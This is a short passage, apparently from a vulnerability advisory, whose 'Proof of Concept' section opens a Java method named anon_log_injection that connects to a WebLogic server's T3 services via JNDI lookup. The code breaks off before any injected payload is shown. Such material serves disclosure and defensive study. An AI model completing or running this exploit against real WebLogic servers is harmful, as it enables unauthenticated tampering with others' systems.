TECHNICAL DESCRIPTION
Proof of Concept
static boolean anon_log_injection(String PS_SERVER_IP,String PS_SERVER_PORT) throws NamingException, JMSException, RemoteException, T3Exception, ServerMigrationException, PersistentStoreException {
Properties p = new Properties();

Context ctx = new InitialContext(p);
Object obj = ctx.lookup("weblogic.common.T3Services");
Object o = PortableRemoteObject.narrow(obj, T3ServicesDef.class);
